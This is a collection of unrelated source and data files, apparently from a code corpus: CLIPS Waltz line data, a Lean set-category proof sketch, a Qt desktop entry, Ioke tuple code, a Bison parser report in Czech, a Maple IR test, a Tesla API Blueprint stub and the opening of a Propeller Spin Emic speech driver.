(line (p1 3950008) (p2 3950009))
(line (p1 3950009) (p2 3950011))
(line (p1 3950011) (p2 3940010))
(line (p1 3950011) (p2 3930011))
(line (p1 3930011) (p2 3920011))
(line (p1 3920011) (p2 3910011))
(line (p1 3910011) (p2 3900010))
(line (p1 3830003) (p2 3840003))
(line (p1 3810005) (p2 3810006))
(line (p1 3860005) (p2 3860006))
(line (p1 3830008) (p2 3840008))
(line (p1 4010003) (p2 4020003))
(line (p1 3990005) (p2 3990006))
(line (p1 4040005) (p2 4040006))
(line (p1 4010008) (p2 4020008))
(line (p1 3960000) (p2 3980000))
(line (p1 3980000) (p2 3990000))
(line (p1 3990000) (p2 4000000))
(line (p1 3960000) (p2 3960002))
(line (p1 3960002) (p2 3960003))
(line (p1 3960003) (p2 3960004))
(line (p1 3960004) (p2 4000004))
(line (p1 4000004) (p2 4000000))
(line (p1 4000000) (p2 4010001))
(line (p1 4010001) (p2 4010002))
(line (p1 4010002) (p2 4010003))
(line (p1 4010003) (p2 4010005))
(line (p1 4010005) (p2 4000004))
(line (p1 4010005) (p2 3990005))
(line (p1 3990005) (p2 3980005))
(line (p1 3980005) (p2 3970005))
(line (p1 3970005) (p2 3960004))
(line (p1 4020000) (p2 4040000))
(line (p1 4040000) (p2 4050000))
(line (p1 4050000) (p2 4060000))
(line (p1 4020000) (p2 4020002))
(line (p1 4020002) (p2 4020003))
(line (p1 4020003) (p2 4020004))
(line (p1 4020004) (p2 4060004))
(line (p1 4060004) (p2 4060000))
(line (p1 4060000) (p2 4070001))
(line (p1 4070001) (p2 4070002))
(line (p1 4070002) (p2 4070003))
(line (p1 4070003) (p2 4070005))
(line (p1 4070005) (p2 4060004))
(line (p1 4070005) (p2 4050005))
(line (p1 4050005) (p2 4040005))
(line (p1 4040005) (p2 4030005))
(line (p1 4030005) (p2 4020004))
(line (p1 3960006) (p2 3980006))
(line (p1 3980006) (p2 3990006))
(line (p1 3990006) (p2 4000006))
(line (p1 3960006) (p2 3960008))
(line (p1 3960008) (p2 3960009))
(line (p1 3960009) (p2 3960010))
(line (p1 3960010) (p2 4000010))
(line (p1 4000010) (p2 4000006))
(line (p1 4000006) (p2 4010007))
(line (p1 4010007) (p2 4010008))
(line (p1 4010008) (p2 4010009))
(line (p1 4010009) (p2 4010011))
(line (p1 4010011) (p2 4000010))
(line (p1 4010011) (p2 3990011))
(line (p1 3990011) (p2 3980011))
(line (p1 3980011) (p2 3970011))
(line (p1 3970011) (p2 3960010))
(line (p1 4020006) (p2 4040006))
(line (p1 4040006) (p2 4050006))
(line (p1 4050006) (p2 4060006))
(line (p1 4020006) (p2 4020008))
(line (p1 4020008) (p2 4020009))
(line (p1 4020009) (p2 4020010))
(line (p1 4020010) (p2 4060010))
(line (p1 4060010) (p2 4060006))
(line (p1 4060006) (p2 4070007))
(line (p1 4070007) (p2 4070008))
(line (p1 4070008) (p2 4070009))
(line (p1 4070009) (p2 4070011))
(line (p1 4070011) (p2 4060010))
(line (p1 4070011) (p2 4050011))
(line (p1 4050011) (p2 4040011))
(line (p1 4040011) (p2 4030011))
(line (p1 4030011) (p2 4020010))
(line (p1 3950003) (p2 3960003))
(line (p1 3930005) (p2 3930006))
(line (p1 3980005) (p2 3980006))
(line (p1 3950008) (p2 3960008))
(line (p1 4130003) (p2 4140003))
(line (p1 4110005) (p2 4110006))
(line (p1 4160005) (p2 4160006))
(line (p1 4130008) (p2 4140008))
(line (p1 4080000) (p2 4100000))
(line (p1 4100000) (p2 4110000))
(line (p1 4110000) (p2 4120000))
(line (p1 4080000) (p2 4080002))
(line (p1 4080002) (p2 4080003))
(line (p1 4080003) (p2 4080004))
(line (p1 4080004) (p2 4120004))
(line (p1 4120004) (p2 4120000))
(line (p1 4120000) (p2 4130001))
(line (p1 4130001) (p2 4130002))
(line (p1 4130002) (p2 4130003))
(line (p1 4130003) (p2 4130005))
(line (p1 4130005) (p2 4120004))
(line (p1 4130005) (p2 4110005))
(line (p1 4110005) (p2 4100005))
(line (p1 4100005) (p2 4090005))
(line (p1 4090005) (p2 4080004))
(line (p1 4140000) (p2 4160000))
(line (p1 4160000) (p2 4170000))
(line (p1 4170000) (p2 4180000))
(line (p1 4140000) (p2 4140002))
(line (p1 4140002) (p2 4140003))
(line (p1 4140003) (p2 4140004))
(line (p1 4140004) (p2 4180004))
(line (p1 4180004) (p2 4180000))
(line (p1 4180000) (p2 4190001))
(line (p1 4190001) (p2 4190002))
(line (p1 4190002) (p2 4190003))
(line (p1 4190003) (p2 4190005))
(line (p1 4190005) (p2 4180004))
(line (p1 4190005) (p2 4170005))
(line (p1 4170005) (p2 4160005))
(line (p1 4160005) (p2 4150005))
(line (p1 4150005) (p2 4140004))
(line (p1 4080006) (p2 4100006))
(line (p1 4100006) (p2 4110006))
(line (p1 4110006) (p2 4120006))
(line (p1 4080006) (p2 4080008))
(line (p1 4080008) (p2 4080009))
(line (p1 4080009) (p2 4080010))
(line (p1 4080010) (p2 4120010))
(line (p1 4120010) (p2 4120006))
(line (p1 4120006) (p2 4130007))
(line (p1 4130007) (p2 4130008))
(line (p1 4130008) (p2 4130009))
(line (p1 4130009) (p2 4130011))
(line (p1 4130011) (p2 4120010))
(line (p1 4130011) (p2 4110011))
(line (p1 4110011) (p2 4100011))
(line (p1 4100011) (p2 4090011))
(line (p1 4090011) (p2 4080010))
(line (p1 4140006) (p2 4160006))
(line (p1 4160006) (p2 4170006))
(line (p1 4170006) (p2 4180006))
(line (p1 4140006) (p2 4140008))
(line (p1 4140008) (p2 4140009))
(line (p1 4140009) (p2 4140010))
(line (p1 4140010) (p2 4180010))
(line (p1 4180010) (p2 4180006))
(line (p1 4180006) (p2 4190007))
(line (p1 4190007) (p2 4190008))
(line (p1 4190008) (p2 4190009))
(line (p1 4190009) (p2 4190011))
(line (p1 4190011) (p2 4180010))
(line (p1 4190011) (p2 4170011))
(line (p1 4170011) (p2 4160011))
(line (p1 4160011) (p2 4150011))
(line (p1 4150011) (p2 4140010))
(line (p1 4070003) (p2 4080003))
(line (p1 4050005) (p2 4050006))
(line (p1 4100005) (p2 4100006))
(line (p1 4070008) (p2 4080008))
(line (p1 4250003) (p2 4260003))
(line (p1 4230005) (p2 4230006))
(line (p1 4280005) (p2 4280006))
(line (p1 4250008) (p2 4260008))
(line (p1 4200000) (p2 4220000))
(line (p1 4220000) (p2 4230000))
(line (p1 4230000) (p2 4240000))
(line (p1 4200000) (p2 4200002))
(line (p1 4200002) (p2 4200003))
(line (p1 4200003) (p2 4200004))
(line (p1 4200004) (p2 4240004))
(line (p1 4240004) (p2 4240000))
(line (p1 4240000) (p2 4250001))
(line (p1 4250001) (p2 4250002))
(line (p1 4250002) (p2 4250003))
(line (p1 4250003) (p2 4250005))
(line (p1 4250005) (p2 4240004))
(line (p1 4250005) (p2 4230005))
(line (p1 4230005) (p2 4220005))
(line (p1 4220005) (p2 4210005))
(line (p1 4210005) (p2 4200004))
(line (p1 4260000) (p2 4280000))
(line (p1 4280000) (p2 4290000))
(line (p1 4290000) (p2 4300000))
(line (p1 4260000) (p2 4260002))
(line (p1 4260002) (p2 4260003))
(line (p1 4260003) (p2 4260004))
(line (p1 4260004) (p2 4300004))
(line (p1 4300004) (p2 4300000))
(line (p1 4300000) (p2 4310001))
(line (p1 4310001) (p2 4310002))
(line (p1 4310002) (p2 4310003))
(line (p1 4310003) (p2 4310005))
(line (p1 4310005) (p2 4300004))
(line (p1 4310005) (p2 4290005))
(line (p1 4290005) (p2 4280005))
(line (p1 4280005) (p2 4270005))
(line (p1 4270005) (p2 4260004))
(line (p1 4200006) (p2 4220006))
(line (p1 4220006) (p2 4230006))
(line (p1 4230006) (p2 4240006))
(line (p1 4200006) (p2 4200008))
(line (p1 4200008) (p2 4200009))
(line (p1 4200009) (p2 4200010))
(line (p1 4200010) (p2 4240010))
(line (p1 4240010) (p2 4240006))
(line (p1 4240006) (p2 4250007))
(line (p1 4250007) (p2 4250008))
(line (p1 4250008) (p2 4250009))
(line (p1 4250009) (p2 4250011))
(line (p1 4250011) (p2 4240010))
(line (p1 4250011) (p2 4230011))
(line (p1 4230011) (p2 4220011))
(line (p1 4220011) (p2 4210011))
(line (p1 4210011) (p2 4200010))
(line (p1 4260006) (p2 4280006))
(line (p1 4280006) (p2 4290006))
(line (p1 4290006) (p2 4300006))
(line (p1 4260006) (p2 4260008))
(line (p1 4260008) (p2 4260009))
(line (p1 4260009) (p2 4260010))
(line (p1 4260010) (p2 4300010))
(line (p1 4300010) (p2 4300006))
(line (p1 4300006) (p2 4310007))
(line (p1 4310007) (p2 4310008))
(line (p1 4310008) (p2 4310009))
(line (p1 4310009) (p2 4310011))
(line (p1 4310011) (p2 4300010))
(line (p1 4310011) (p2 4290011))
(line (p1 4290011) (p2 4280011))
(line (p1 4280011) (p2 4270011))
(line (p1 4270011) (p2 4260010))
(line (p1 4190003) (p2 4200003))
(line (p1 4170005) (p2 4170006))
(line (p1 4220005) (p2 4220006))
(line (p1 4190008) (p2 4200008))
(line (p1 4370003) (p2 4380003))
(line (p1 4350005) (p2 4350006))
(line (p1 4400005) (p2 4400006))
(line (p1 4370008) (p2 4380008))
(line (p1 4320000) (p2 4340000))
(line (p1 4340000) (p2 4350000))
(line (p1 4350000) (p2 4360000))
(line (p1 4320000) (p2 4320002))
(line (p1 4320002) (p2 4320003))
(line (p1 4320003) (p2 4320004))
(line (p1 4320004) (p2 4360004))
(line (p1 4360004) (p2 4360000))
(line (p1 4360000) (p2 4370001))
(line (p1 4370001) (p2 4370002))
(line (p1 4370002) (p2 4370003))
(line (p1 4370003) (p2 4370005))
(line (p1 4370005) (p2 4360004))
(line (p1 4370005) (p2 4350005))
(line (p1 4350005) (p2 4340005))
(line (p1 4340005) (p2 4330005))
(line (p1 4330005) (p2 4320004))
(line (p1 4380000) (p2 4400000))
(line (p1 4400000) (p2 4410000))
(line (p1 4410000) (p2 4420000))
(line (p1 4380000) (p2 4380002))
(line (p1 4380002) (p2 4380003))
(line (p1 4380003) (p2 4380004))
(line (p1 4380004) (p2 4420004))
(line (p1 4420004) (p2 4420000))
(line (p1 4420000) (p2 4430001))
(line (p1 4430001) (p2 4430002))
(line (p1 4430002) (p2 4430003))
(line (p1 4430003) (p2 4430005))
(line (p1 4430005) (p2 4420004))
(line (p1 4430005) (p2 4410005))
(line (p1 4410005) (p2 4400005))
(line (p1 4400005) (p2 4390005))
(line (p1 4390005) (p2 4380004))
(line (p1 4320006) (p2 4340006))
(line (p1 4340006) (p2 4350006))
(line (p1 4350006) (p2 4360006))
(line (p1 4320006) (p2 4320008))
(line (p1 4320008) (p2 4320009))
(line (p1 4320009) (p2 4320010))
(line (p1 4320010) (p2 4360010))
(line (p1 4360010) (p2 4360006))
(line (p1 4360006) (p2 4370007))
(line (p1 4370007) (p2 4370008))
(line (p1 4370008) (p2 4370009))
(line (p1 4370009) (p2 4370011))
(line (p1 4370011) (p2 4360010))
(line (p1 4370011) (p2 4350011))
(line (p1 4350011) (p2 4340011))
(line (p1 4340011) (p2 4330011))
(line (p1 4330011) (p2 4320010))
(line (p1 4380006) (p2 4400006))
(line (p1 4400006) (p2 4410006))
(line (p1 4410006) (p2 4420006))
(line (p1 4380006) (p2 4380008))
(line (p1 4380008) (p2 4380009))
(line (p1 4380009) (p2 4380010))
(line (p1 4380010) (p2 4420010))
(line (p1 4420010) (p2 4420006))
(line (p1 4420006) (p2 4430007))
(line (p1 4430007) (p2 4430008))
(line (p1 4430008) (p2 4430009))
(line (p1 4430009) (p2 4430011))
(line (p1 4430011) (p2 4420010))
(line (p1 4430011) (p2 4410011))
(line (p1 4410011) (p2 4400011))
(line (p1 4400011) (p2 4390011))
(line (p1 4390011) (p2 4380010))
(line (p1 4310003) (p2 4320003))
(line (p1 4290005) (p2 4290006))
(line (p1 4340005) (p2 4340006))
(line (p1 4310008) (p2 4320008))
(line (p1 4490003) (p2 4500003))
(line (p1 4470005) (p2 4470006))
(line (p1 4520005) (p2 4520006))
(line (p1 4490008) (p2 4500008))
(line (p1 4440000) (p2 4460000))
(line (p1 4460000) (p2 4470000))
(line (p1 4470000) (p2 4480000))
(line (p1 4440000) (p2 4440002))
(line (p1 4440002) (p2 4440003))
(line (p1 4440003) (p2 4440004))
(line (p1 4440004) (p2 4480004))
(line (p1 4480004) (p2 4480000))
(line (p1 4480000) (p2 4490001))
(line (p1 4490001) (p2 4490002))
(line (p1 4490002) (p2 4490003))
(line (p1 4490003) (p2 4490005))
(line (p1 4490005) (p2 4480004))
(line (p1 4490005) (p2 4470005))
(line (p1 4470005) (p2 4460005))
(line (p1 4460005) (p2 4450005))
(line (p1 4450005) (p2 4440004))
(line (p1 4500000) (p2 4520000))
(line (p1 4520000) (p2 4530000))
(line (p1 4530000) (p2 4540000))
(line (p1 4500000) (p2 4500002))
(line (p1 4500002) (p2 4500003))
(line (p1 4500003) (p2 4500004))
(line (p1 4500004) (p2 4540004))
(line (p1 4540004) (p2 4540000))
(line (p1 4540000) (p2 4550001))
(line (p1 4550001) (p2 4550002))
(line (p1 4550002) (p2 4550003))
(line (p1 4550003) (p2 4550005))
(line (p1 4550005) (p2 4540004))
(line (p1 4550005) (p2 4530005))
(line (p1 4530005) (p2 4520005))
(line (p1 4520005) (p2 4510005))
(line (p1 4510005) (p2 4500004))
(line (p1 4440006) (p2 4460006))
(line (p1 4460006) (p2 4470006))
(line (p1 4470006) (p2 4480006))
(line (p1 4440006) (p2 4440008))
(line (p1 4440008) (p2 4440009))
(line (p1 4440009) (p2 4440010))
(line (p1 4440010) (p2 4480010))
(line (p1 4480010) (p2 4480006))
(line (p1 4480006) (p2 4490007))
(line (p1 4490007) (p2 4490008))
(line (p1 4490008) (p2 4490009))
(line (p1 4490009) (p2 4490011))
(line (p1 4490011) (p2 4480010))
(line (p1 4490011) (p2 4470011))
(line (p1 4470011) (p2 4460011))
(line (p1 4460011) (p2 4450011))
(line (p1 4450011) (p2 4440010))
(line (p1 4500006) (p2 4520006))
(line (p1 4520006) (p2 4530006))
(line (p1 4530006) (p2 4540006))
(line (p1 4500006) (p2 4500008))
(line (p1 4500008) (p2 4500009))
(line (p1 4500009) (p2 4500010))
(line (p1 4500010) (p2 4540010))
(line (p1 4540010) (p2 4540006))
(line (p1 4540006) (p2 4550007))
(line (p1 4550007) (p2 4550008))
(line (p1 4550008) (p2 4550009))
(line (p1 4550009) (p2 4550011))
(line (p1 4550011) (p2 4540010))
(line (p1 4550011) (p2 4530011))
(line (p1 4530011) (p2 4520011))
(line (p1 4520011) (p2 4510011))
(line (p1 4510011) (p2 4500010))
(line (p1 4430003) (p2 4440003))
(line (p1 4410005) (p2 4410006))
(line (p1 4460005) (p2 4460006))
(line (p1 4430008) (p2 4440008))))
| CLIPS | 1 | smarr/CLIPS | examples/waltz/waltz37.clp | [
"Apache-2.0"
] |
-- Copyright (c) 2015 Jakob von Raumer. All rights reserved.
-- Released under Apache 2.0 license as described in the file LICENSE.
-- Authors: Jakob von Raumer
-- Category of sets
import .basic types.pi trunc
open truncation sigma sigma.ops pi function eq morphism precategory
open equiv
namespace precategory
universe variable l
definition set_precategory : precategory.{l+1 l} (Σ (A : Type.{l}), is_hset A) :=
begin
fapply precategory.mk.{l+1 l},
intros, apply (a.1 → a_1.1),
intros, apply trunc_pi, intros, apply b.2,
intros, intro x, exact (a_1 (a_2 x)),
intros, exact (λ (x : a.1), x),
intros, apply funext.path_pi, intro x, apply idp,
intros, apply funext.path_pi, intro x, apply idp,
intros, apply funext.path_pi, intro x, apply idp,
end
end precategory
namespace category
universe variable l
local attribute precategory.set_precategory.{l+1 l} [instance]
definition set_category_equiv_iso (a b : (Σ (A : Type.{l}), is_hset A))
: (a ≅ b) = (a.1 ≃ b.1) :=
/-begin
apply ua, fapply equiv.mk,
intro H,
apply (isomorphic.rec_on H), intros (H1, H2),
apply (is_iso.rec_on H2), intros (H3, H4, H5),
fapply equiv.mk,
apply (isomorphic.rec_on H), intros (H1, H2),
exact H1,
fapply is_equiv.adjointify, exact H3,
exact sorry,
exact sorry,
end-/ sorry
definition set_category : category.{l+1 l} (Σ (A : Type.{l}), is_hset A) :=
/-begin
assert (C : precategory.{l+1 l} (Σ (A : Type.{l}), is_hset A)),
apply precategory.set_precategory,
apply category.mk,
assert (p : (λ A B p, (set_category_equiv_iso A B) ▹ iso_of_path p) = (λ A B p, @equiv_path A.1 B.1 p)),
apply is_equiv.adjointify,
intros,
apply (isomorphic.rec_on a_1), intros (iso', is_iso'),
apply (is_iso.rec_on is_iso'), intros (f', f'sect, f'retr),
fapply sigma.path,
apply ua, fapply equiv.mk, exact iso',
fapply is_equiv.adjointify,
exact f',
intros, apply (f'retr ▹ _),
intros, apply (f'sect ▹ _),
apply (@is_hprop.elim),
apply is_trunc_is_hprop,
intros,
end -/ sorry
end category
| Lean | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Lean/set.hlean | [
"MIT"
] |
[Desktop Entry]
Name=Qt4 Linguist
Comment=Add translations to Qt4 applications
Exec=linguist-qt4
Icon=linguist-qt4
MimeType=text/vnd.trolltech.linguist;application/x-linguist;
Terminal=false
Encoding=UTF-8
Type=Application
Categories=Qt;Development;
| desktop | 1 | cyberqueen-meg/blackarch | packages/qt4/linguist-qt4.desktop | [
"BSD-3-Clause"
] |
Tuple mimic!(Mixins Comparing)
Tuple createFrom = method(
"Returns a tuple, assuming the arguments are the right length for it",
args,
Tuple)
Tuple asTuple = method(self)
Tuple Two = Tuple mimic
Tuple Two private:initializeWith(nil, nil)
Tuple Two first = Tuple private:accessor(0)
Tuple Two _1 = Tuple private:accessor(0)
Tuple Two second = Tuple private:accessor(1)
Tuple Two _2 = Tuple private:accessor(1)
Tuple Two createFrom = method(
"Returns a tuple, assuming the arguments are the right length for it",
args,
t = mimic
t private:initializeWith(*args)
t)
Tuple Three = Tuple Two mimic
Tuple Three private:initializeWith(nil, nil, nil)
Tuple Three third = Tuple private:accessor(2)
Tuple Three _3 = Tuple private:accessor(2)
Tuple Four = Tuple Three mimic
Tuple Four private:initializeWith(nil, nil, nil, nil)
Tuple Four fourth = Tuple private:accessor(3)
Tuple Four _4 = Tuple private:accessor(3)
Tuple Five = Tuple Four mimic
Tuple Five private:initializeWith(nil, nil, nil, nil, nil)
Tuple Five fifth = Tuple private:accessor(4)
Tuple Five _5 = Tuple private:accessor(4)
Tuple Six = Tuple Five mimic
Tuple Six private:initializeWith(nil, nil, nil, nil, nil, nil)
Tuple Six sixth = Tuple private:accessor(5)
Tuple Six _6 = Tuple private:accessor(5)
Tuple Seven = Tuple Six mimic
Tuple Seven private:initializeWith(nil, nil, nil, nil, nil, nil, nil)
Tuple Seven seventh = Tuple private:accessor(6)
Tuple Seven _7 = Tuple private:accessor(6)
Tuple Eight = Tuple Seven mimic
Tuple Eight private:initializeWith(nil, nil, nil, nil, nil, nil, nil, nil)
Tuple Eight eighth = Tuple private:accessor(7)
Tuple Eight _8 = Tuple private:accessor(7)
Tuple Nine = Tuple Eight mimic
Tuple Nine private:initializeWith(nil, nil, nil, nil, nil, nil, nil, nil, nil)
Tuple Nine ninth = Tuple private:accessor(8)
Tuple Nine _9 = Tuple private:accessor(8)
Tuple Many = Tuple Nine mimic
Tuple Many createFrom = method(
"Returns a tuple, assuming the arguments are the right length for it",
args,
t = mimic
t private:initializeWith(*args)
len = args length
(10..len) each(index,
t cell(:"_#{index}") = Tuple private:accessor(index-1)
)
t)
DefaultBehavior Literals tuple = method(
"Takes zero or more arguments and return an appropriate tuple from those arguments",
+args,
len = args length
tup = if(len == 0,
Tuple,
if(len == 2,
Tuple Two,
if(len == 3,
Tuple Three,
if(len == 4,
Tuple Four,
if(len == 5,
Tuple Five,
if(len == 6,
Tuple Six,
if(len == 7,
Tuple Seven,
if(len == 8,
Tuple Eight,
if(len == 9,
Tuple Nine,
Tuple Many)))))))))
tup createFrom(args)
)
| Ioke | 4 | olabini/ioke | src/builtin/D37_tuple.ik | [
"ICU",
"MIT"
] |
Gramatika
0 $accept: program $end
1 program: program statement '\n'
2 | program error '\n'
3 | %empty
4 statement: expression
5 | VARIABLE '=' expression
6 expression: INTEGER
7 | VARIABLE
8 | expression '+' expression
9 | expression '-' expression
10 | expression '*' expression
11 | expression '/' expression
12 | '(' expression ')'
Terminály s pravidly, ve kterých se objevují
$end (0) 0
'\n' (10) 1 2
'(' (40) 12
')' (41) 12
'*' (42) 10
'+' (43) 8
'-' (45) 9
'/' (47) 11
'=' (61) 5
error (256) 2
INTEGER (258) 6
VARIABLE (259) 5 7
Neterminály s pravidly, ve kterých se objevují
$accept (13)
vlevo: 0
program (14)
vlevo: 1 2 3, vpravo: 0 1 2
statement (15)
vlevo: 4 5, vpravo: 1
expression (16)
vlevo: 6 7 8 9 10 11 12, vpravo: 4 5 8 9 10 11 12
State 0
0 $accept: . program $end
1 program: . program statement '\n'
2 | . program error '\n'
3 | . %empty
$výchozí reduce using rule 3 (program)
program přejít do stavu 1
State 1
0 $accept: program . $end
1 program: program . statement '\n'
2 | program . error '\n'
4 statement: . expression
5 | . VARIABLE '=' expression
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
10 | . expression '*' expression
11 | . expression '/' expression
12 | . '(' expression ')'
$end posunout a přejít do stavu 2
error posunout a přejít do stavu 3
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 5
'(' posunout a přejít do stavu 6
statement přejít do stavu 7
expression přejít do stavu 8
State 2
0 $accept: program $end .
$výchozí přijmout
State 3
2 program: program error . '\n'
'\n' posunout a přejít do stavu 9
State 4
6 expression: INTEGER .
$výchozí reduce using rule 6 (expression)
State 5
5 statement: VARIABLE . '=' expression
7 expression: VARIABLE . ['+', '-', '*', '/', '\n']
'=' posunout a přejít do stavu 10
$výchozí reduce using rule 7 (expression)
State 6
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
10 | . expression '*' expression
11 | . expression '/' expression
12 | . '(' expression ')'
12 | '(' . expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 12
State 7
1 program: program statement . '\n'
'\n' posunout a přejít do stavu 13
State 8
4 statement: expression . ['\n']
8 expression: expression . '+' expression
9 | expression . '-' expression
10 | expression . '*' expression
11 | expression . '/' expression
'+' posunout a přejít do stavu 14
'-' posunout a přejít do stavu 15
'*' posunout a přejít do stavu 16
'/' posunout a přejít do stavu 17
$výchozí reduce using rule 4 (statement)
State 9
2 program: program error '\n' .
$výchozí reduce using rule 2 (program)
State 10
5 statement: VARIABLE '=' . expression
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
10 | . expression '*' expression
11 | . expression '/' expression
12 | . '(' expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 18
State 11
7 expression: VARIABLE .
$výchozí reduce using rule 7 (expression)
State 12
8 expression: expression . '+' expression
9 | expression . '-' expression
10 | expression . '*' expression
11 | expression . '/' expression
12 | '(' expression . ')'
'+' posunout a přejít do stavu 14
'-' posunout a přejít do stavu 15
'*' posunout a přejít do stavu 16
'/' posunout a přejít do stavu 17
')' posunout a přejít do stavu 19
State 13
1 program: program statement '\n' .
$výchozí reduce using rule 1 (program)
State 14
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
8 | expression '+' . expression
9 | . expression '-' expression
10 | . expression '*' expression
11 | . expression '/' expression
12 | . '(' expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 20
State 15
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
9 | expression '-' . expression
10 | . expression '*' expression
11 | . expression '/' expression
12 | . '(' expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 21
State 16
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
10 | . expression '*' expression
10 | expression '*' . expression
11 | . expression '/' expression
12 | . '(' expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 22
State 17
6 expression: . INTEGER
7 | . VARIABLE
8 | . expression '+' expression
9 | . expression '-' expression
10 | . expression '*' expression
11 | . expression '/' expression
11 | expression '/' . expression
12 | . '(' expression ')'
INTEGER posunout a přejít do stavu 4
VARIABLE posunout a přejít do stavu 11
'(' posunout a přejít do stavu 6
expression přejít do stavu 23
State 18
5 statement: VARIABLE '=' expression . ['\n']
8 expression: expression . '+' expression
9 | expression . '-' expression
10 | expression . '*' expression
11 | expression . '/' expression
'+' posunout a přejít do stavu 14
'-' posunout a přejít do stavu 15
'*' posunout a přejít do stavu 16
'/' posunout a přejít do stavu 17
$výchozí reduce using rule 5 (statement)
State 19
12 expression: '(' expression ')' .
$výchozí reduce using rule 12 (expression)
State 20
8 expression: expression . '+' expression
8 | expression '+' expression . ['+', '-', '\n', ')']
9 | expression . '-' expression
10 | expression . '*' expression
11 | expression . '/' expression
'*' posunout a přejít do stavu 16
'/' posunout a přejít do stavu 17
$výchozí reduce using rule 8 (expression)
Conflict between rule 8 and token '+' resolved as reduce (%left '+').
Conflict between rule 8 and token '-' resolved as reduce (%left '-').
Conflict between rule 8 and token '*' resolved as shift ('+' < '*').
Conflict between rule 8 and token '/' resolved as shift ('+' < '/').
State 21
8 expression: expression . '+' expression
9 | expression . '-' expression
9 | expression '-' expression . ['+', '-', '\n', ')']
10 | expression . '*' expression
11 | expression . '/' expression
'*' posunout a přejít do stavu 16
'/' posunout a přejít do stavu 17
$výchozí reduce using rule 9 (expression)
Conflict between rule 9 and token '+' resolved as reduce (%left '+').
Conflict between rule 9 and token '-' resolved as reduce (%left '-').
Conflict between rule 9 and token '*' resolved as shift ('-' < '*').
Conflict between rule 9 and token '/' resolved as shift ('-' < '/').
State 22
8 expression: expression . '+' expression
9 | expression . '-' expression
10 | expression . '*' expression
10 | expression '*' expression . ['+', '-', '*', '/', '\n', ')']
11 | expression . '/' expression
$výchozí reduce using rule 10 (expression)
Conflict between rule 10 and token '+' resolved as reduce ('+' < '*').
Conflict between rule 10 and token '-' resolved as reduce ('-' < '*').
Conflict between rule 10 and token '*' resolved as reduce (%left '*').
Conflict between rule 10 and token '/' resolved as reduce (%left '/').
State 23
8 expression: expression . '+' expression
9 | expression . '-' expression
10 | expression . '*' expression
11 | expression . '/' expression
11 | expression '/' expression . ['+', '-', '*', '/', '\n', ')']
$výchozí reduce using rule 11 (expression)
Conflict between rule 11 and token '+' resolved as reduce ('+' < '/').
Conflict between rule 11 and token '-' resolved as reduce ('-' < '/').
Conflict between rule 11 and token '*' resolved as reduce (%left '*').
Conflict between rule 11 and token '/' resolved as reduce (%left '/').
| Bison | 4 | YKG/y | testdata/dev/error.y.bison | [
"BSD-3-Clause"
] |
type $atyp <[10] f32>
type $aaaa <f32>
var $fff <$atyp>
func $foo ( var %i i32 )i32
func $fact (
var %n i32, var %m f32) i32 {
regassign i32 %987 (constval i32 '0')
if (ne i32 i32 (regread i32 %987, constval i32 10)) {
eval (regread i32 %987)
call &foo(
sub i32 (regread i32 %1, constval i32 1))
return (regread i32 %%retval)}
else {
regassign i32 %987 (constval i32 111)
return (constval i32 '1') }
}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 3 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0062-mapleall-irbuild-edge-pregs/Main.mpl | [
"MulanPSL-1.0"
] |
FORMAT: 1A
HOST: https://owner-api.teslamotors.com
# Tesla Model S JSON API
# ⚠️ ⚠️ ⚠️ ⚠️
# This site has moved! [https://tesla-api.timdorr.com/](https://tesla-api.timdorr.com/)
# ⚠️ ⚠️ ⚠️ ⚠️
| API Blueprint | 0 | jasminsehic/tesla-api | apiary.apib | [
"MIT"
] |
{{ EmicDriverExtended.spin, v1.0
Copyright (c) 2010 Austin Bowen
*See end of file for terms of use*
This is a driver for the Emic Text-to-Speech module.
This program is completely self-contained, not requiring
imported objects for communication. It also does not use
an additional COG for operation. :) Check each subroutine
below for the documentation on how to use it.
This program assumes that both switches on the module are
in the OFF position, for hexadecimal communication (faster)
and no received echo on the Emic's TX pin. The system clock
must be => 20MHz (If my calculations are correct.)
The Emic is a +5V device, so proper protection for the Propeller
is required:
Direct connection for Sin:
Sin <-- Prop
10k resistor in series for Sout:
Sout --> [10k] --> Prop
10k resistor in series for Busy:
Busy --> [10k] --> Prop
Reset pulled high with 1k resistor,
and connected to prop with diode:
[1k] <-- +5V
|
Reset --> o --> [>Diode>] --> Prop
For inclusion in a parent program:
OBJ:
EMIC : "EmicDriver"
VAR
BYTE EMIC_ABBR[50] '(Optional)
LONG EMIC_VER[4] '(Optional)
CON
_CLKMODE = XTAL1 + PLL16X
_XINFREQ = 5_000_000
E_TX = 0 '(Optional)
E_RX = 1
E_BUSY = 2
E_RESET = 3 '(Optional)
VER_EH = 0 'Stack number for Emic Hware (Optional)
VER_ES = 1 'Stack number for Emic Sware (Optional)
VER_WH = 2 'Stack number for WTS701 Hware (Optional)
VER_WS = 3 'Stack number for WTS701 Sware (Optional)
PUB MAIN
EMIC.START(E_TX, E_RX, E_BUSY, E_RESET) 'Start Emic
EMIC.VERSION(@EMIC_VER) '(Optional) 'Get versions
EMIC.SAY(STRING("Hello, world!"), 2) 'Speak
EMIC.STOP 'Done, stop Emic
